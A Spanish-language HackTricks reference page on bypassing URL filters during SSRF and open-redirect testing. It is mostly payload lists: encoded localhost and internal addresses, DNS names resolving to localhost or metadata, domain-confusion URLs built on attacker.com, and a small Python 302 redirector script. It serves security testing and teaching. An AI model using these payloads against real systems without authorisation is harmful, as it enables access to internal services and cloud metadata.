mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
236 lines
10 KiB
Markdown
236 lines
10 KiB
Markdown
# Bypass de Formato de URL
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<details>
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<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Otras formas de apoyar a HackTricks:
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* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
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* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
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</details>
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**Grupo de Seguridad Try Hard**
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<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
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{% embed url="https://discord.gg/tryhardsecurity" %}
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***
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### Localhost
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```bash
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# Localhost
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http://127.0.0.1:80
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http://127.0.0.1:443
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http://127.0.0.1:22
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http://127.1:80
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http://127.000000000000000.1
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http://0
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http:@0/ --> http://localhost/
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http://0.0.0.0:80
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http://localhost:80
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http://[::]:80/
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http://[::]:25/ SMTP
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http://[::]:3128/ Squid
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http://[0000::1]:80/
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http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
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http://①②⑦.⓪.⓪.⓪
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# CDIR bypass
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http://127.127.127.127
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http://127.0.1.3
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http://127.0.0.0
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# Dot bypass
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127。0。0。1
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127%E3%80%820%E3%80%820%E3%80%821
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# Decimal bypass
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http://2130706433/ = http://127.0.0.1
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http://3232235521/ = http://192.168.0.1
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http://3232235777/ = http://192.168.1.1
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# Octal Bypass
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http://0177.0000.0000.0001
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http://00000177.00000000.00000000.00000001
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http://017700000001
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# Hexadecimal bypass
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127.0.0.1 = 0x7f 00 00 01
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http://0x7f000001/ = http://127.0.0.1
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http://0xc0a80014/ = http://192.168.0.20
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0x7f.0x00.0x00.0x01
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0x0000007f.0x00000000.0x00000000.0x00000001
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# Add 0s bypass
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127.000000000000.1
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# You can also mix different encoding formats
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# https://www.silisoftware.com/tools/ipconverter.php
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# Malformed and rare
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localhost:+11211aaa
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localhost:00011211aaaa
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http://0/
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http://127.1
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http://127.0.1
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# DNS to localhost
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localtest.me = 127.0.0.1
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customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
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mail.ebc.apple.com = 127.0.0.6 (localhost)
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127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
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www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
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http://customer1.app.localhost.my.company.127.0.0.1.nip.io
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http://bugbounty.dod.network = 127.0.0.2 (localhost)
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1ynrnhl.xip.io == 169.254.169.254
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spoofed.burpcollaborator.net = 127.0.0.1
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```
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 (1) (1).png>)
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La extensión de **Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementa bypasses de formato de IP.
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### Analizador de dominio
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```bash
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https:attacker.com
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https:/attacker.com
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http:/\/\attacker.com
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https:/\attacker.com
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//attacker.com
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\/\/attacker.com/
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/\/attacker.com/
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/attacker.com
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%0D%0A/attacker.com
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#attacker.com
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#%20@attacker.com
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@attacker.com
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http://169.254.1698.254\@attacker.com
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attacker%00.com
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attacker%E3%80%82com
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attacker。com
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ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
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```
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```
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① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
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⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
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⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰
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⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ
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Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
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ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
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```
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### Confusión de Dominio
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```bash
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# Try also to change attacker.com for 127.0.0.1 to try to access localhost
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# Try replacing https by http
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# Try URL-encoded characters
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https://{domain}@attacker.com
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https://{domain}.attacker.com
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https://{domain}%6D@attacker.com
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https://attacker.com/{domain}
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https://attacker.com/?d={domain}
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https://attacker.com#{domain}
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https://attacker.com@{domain}
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https://attacker.com#@{domain}
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https://attacker.com%23@{domain}
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https://attacker.com%00{domain}
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https://attacker.com%0A{domain}
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https://attacker.com?{domain}
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https://attacker.com///{domain}
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https://attacker.com\{domain}/
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https://attacker.com;https://{domain}
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https://attacker.com\{domain}/
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https://attacker.com\.{domain}
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https://attacker.com/.{domain}
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https://attacker.com\@@{domain}
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https://attacker.com:\@@{domain}
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https://attacker.com#\@{domain}
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https://attacker.com\anything@{domain}/
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https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com
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# On each IP position try to put 1 attackers domain and the others the victim domain
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http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
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#Parameter pollution
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next={domain}&next=attacker.com
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```
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### Bypass de Formato de URL
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Si se requiere que la URL termine en un camino o una extensión, o que contenga un camino, puedes probar uno de los siguientes bypasses:
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```
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https://metadata/vulerable/path#/expected/path
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https://metadata/vulerable/path#.extension
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https://metadata/expected/path/..%2f..%2f/vulnerable/path
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```
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### Fuzzing
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La herramienta [**recollapse**](https://github.com/0xacb/recollapse) puede generar variaciones a partir de una entrada dada para intentar evadir la expresión regular utilizada. Consulta [**esta publicación**](https://0xacb.com/2022/11/21/recollapse/) también para obtener más información.
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### Bypass a través de redirección
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Podría ser posible que el servidor esté **filtrando la solicitud original** de un SSRF **pero no** una posible respuesta de **redirección** a esa solicitud.\
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Por ejemplo, un servidor vulnerable a SSRF a través de: `url=https://www.google.com/` podría estar **filtrando el parámetro de url**. Pero si utilizas un [servidor python para responder con un 302](https://pastebin.com/raw/ywAUhFrv) al lugar donde deseas redirigir, podrías ser capaz de **acceder a direcciones IP filtradas** como 127.0.0.1 o incluso a **protocolos** filtrados como gopher.\
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[Consulta este informe.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
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```python
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#!/usr/bin/env python3
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#python3 ./redirector.py 8000 http://127.0.0.1/
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import sys
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from http.server import HTTPServer, BaseHTTPRequestHandler
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if len(sys.argv)-1 != 2:
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print("Usage: {} <port_number> <url>".format(sys.argv[0]))
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sys.exit()
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class Redirect(BaseHTTPRequestHandler):
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def do_GET(self):
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self.send_response(302)
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self.send_header('Location', sys.argv[2])
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self.end_headers()
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HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
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```
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## Trucos Explicados
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### Truco de la barra invertida
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El _truco de la barra invertida_ explota una diferencia entre el [Estándar de URL WHATWG](https://url.spec.whatwg.org/#url-parsing) y [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Mientras que RFC3986 es un marco general para URIs, WHATWG es específico para URLs web y es adoptado por navegadores modernos. La distinción clave radica en el reconocimiento del estándar WHATWG de la barra invertida (`\`) como equivalente a la barra diagonal (`/`), impactando en cómo se analizan las URLs, marcando específicamente la transición del nombre de host al camino en una URL.
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### Otras Confusiones
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.png>)
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imagen de [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
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## Referencias
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* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
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* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
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**Grupo de Seguridad Try Hard**
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<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
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{% embed url="https://discord.gg/tryhardsecurity" %}
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<details>
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<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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Otras formas de apoyar a HackTricks:
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* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
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* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
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* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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